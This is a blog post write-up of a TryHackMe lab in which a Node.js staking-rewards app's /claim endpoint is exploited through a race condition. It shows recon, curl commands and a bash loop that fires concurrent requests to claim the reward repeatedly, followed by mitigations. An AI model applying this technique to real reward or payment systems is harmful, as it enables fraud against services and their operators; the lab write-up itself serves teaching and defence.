DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Towel on the Sunbed Writeup

TL;DR

Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a
24-hour cooldown on claiming a reward. The /claim endpoint has a classic
check-then-act race condition: it checks whether the claim window has
elapsed, then updates the balance, without doing either atomically. Firing
many concurrent requests at /claim lets several of them pass the
eligibility check before any of them commit their balance update, so
multiple 50-PONZI rewards land from what should only ever be one claim per
day. Racing past the intended single-claim limit pushes the balance over
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the
flag.

Flag: THM{[REDACTED]}


1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login
Enter fullscreen mode Exit fullscreen mode

A crypto-themed "staking rewards" app on port 3000, redirecting
unauthenticated requests to /auth/login.

2. Mapping the app

curl http://<MACHINE_IP>:3000/auth/register
Enter fullscreen mode Exit fullscreen mode

A normal username/password registration form, client-side JS posting JSON
to /auth/register and /auth/login. Registered and logged in as a test
account:

curl -s -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'
Enter fullscreen mode Exit fullscreen mode
{"message":"Account created.","redirect":"/dashboard"}
Enter fullscreen mode Exit fullscreen mode
curl -s -c cookies.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'
Enter fullscreen mode Exit fullscreen mode
{"message":"Logged in.","redirect":"/dashboard"}
Enter fullscreen mode Exit fullscreen mode

The dashboard's front-end JS (/js/dashboard.js) lays out the whole app
logic: a balance field, a "Claim Reward" button hitting POST /claim
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"
unlocked at a 150-PONZI balance via GET /vault.

curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me
Enter fullscreen mode Exit fullscreen mode
{"balance":0,"tier":"Shrimp","canClaim":true,"secondsUntilClaim":0, ...}
Enter fullscreen mode Exit fullscreen mode

3. Confirming the claim/cooldown mechanic

curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim
Enter fullscreen mode Exit fullscreen mode
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2}
Enter fullscreen mode Exit fullscreen mode
curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me
Enter fullscreen mode Exit fullscreen mode
{"balance":50,"canClaim":false,"secondsUntilClaim":86396, ...}
Enter fullscreen mode Exit fullscreen mode

One claim, then locked out for roughly 24 hours (86396 seconds). At 50
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the
vault would take three real claim cycles, spread across three days. Worth
testing whether the cooldown is actually enforced atomically or just
checked once per request.

4. Race condition in /claim

Fired 30 concurrent /claim requests against the same authenticated
session:

for i in $(seq 1 30); do
  curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait
grep -l '"reward"' resp_*.json | wc -l
Enter fullscreen mode Exit fullscreen mode

First run against the already-claimed testuser session returned zero
successful claims - expected, since that account had already used its
claim for the day and every request correctly saw canClaim: false.

Registered a fresh account (racer1) specifically to race from a clean,
unclaimed state, then immediately fired 30 concurrent claims before any
single request's balance update could commit:

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

for i in $(seq 1 30); do
  curl -s -b cookies2.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait

grep -o '"reward":[0-9]*' resp_*.json | sort | uniq -c
Enter fullscreen mode Exit fullscreen mode
1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50
Enter fullscreen mode Exit fullscreen mode

Six of the thirty concurrent requests succeeded - six separate 50-PONZI
rewards from a mechanic that's supposed to permit exactly one per day.
Classic TOCTOU (time-of-check to time-of-use): each request reads
canClaim from the current balance/timestamp state before any of the
other concurrent requests has written its update back, so several
requests all see "eligible" simultaneously and all get paid out.

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/dashboard/api/me
Enter fullscreen mode Exit fullscreen mode
{"balance":300,"tier":"Whale", ...}
Enter fullscreen mode Exit fullscreen mode

300 PONZI - double the 150-PONZI whale threshold, from a single racing
burst.

5. Unlocking the vault

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/vault
Enter fullscreen mode Exit fullscreen mode
{
  "message": "Welcome to the Whale Vault.",
  "flag": "THM{[REDACTED]}",
  "balance": 300
}
Enter fullscreen mode Exit fullscreen mode

Key vulnerabilities

# Weakness Detail
1 Race condition (TOCTOU) on /claim The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one.
2 No idempotency or locking on the reward transaction No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session.
3 Client-trusted cooldown display only The countdown timer and disabled button in the front end are purely cosmetic (/js/dashboard.js); server-side enforcement is the only real gate, and it's the part that's racy.

Attack chain

Register + log in (normal account creation, no vuln needed)
        |
        v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
        |
        v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
        |
        v
Register a second, unclaimed account (clean race target)
        |
        v
Fire 30 concurrent POST /claim requests before any single response commits
        |
        v
Multiple requests all read canClaim=true simultaneously -> 6/30 succeed -> 300 PONZI
        |
        v
GET /vault (balance >= 150) -> flag
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Make the claim-and-credit operation atomic. Use a single database transaction with row-level locking (e.g. SELECT ... FOR UPDATE) or an atomic conditional update (e.g. UPDATE users SET balance = balance + 50, last_claim = NOW() WHERE id = ? AND last_claim < NOW() - INTERVAL '24 hours' and check the affected-row count) so the eligibility check and the write happen as one indivisible step.
  • Serialize claim attempts per user with an application-level lock or mutex keyed to the user ID, so concurrent requests from the same session queue rather than race.
  • Never rely on client-side timers or disabled buttons to enforce business rules; treat them as UX only and always re-validate fully on the server for every request.
  • Add basic rate limiting per user/session on sensitive state-changing endpoints like /claim, both to blunt this class of race and to slow down automated abuse generally.
  • Log and alert on anomalous reward patterns (e.g. multiple successful claims for one user within a short window) as a detective control, in case a race condition like this slips past preventive fixes.

Top comments (0)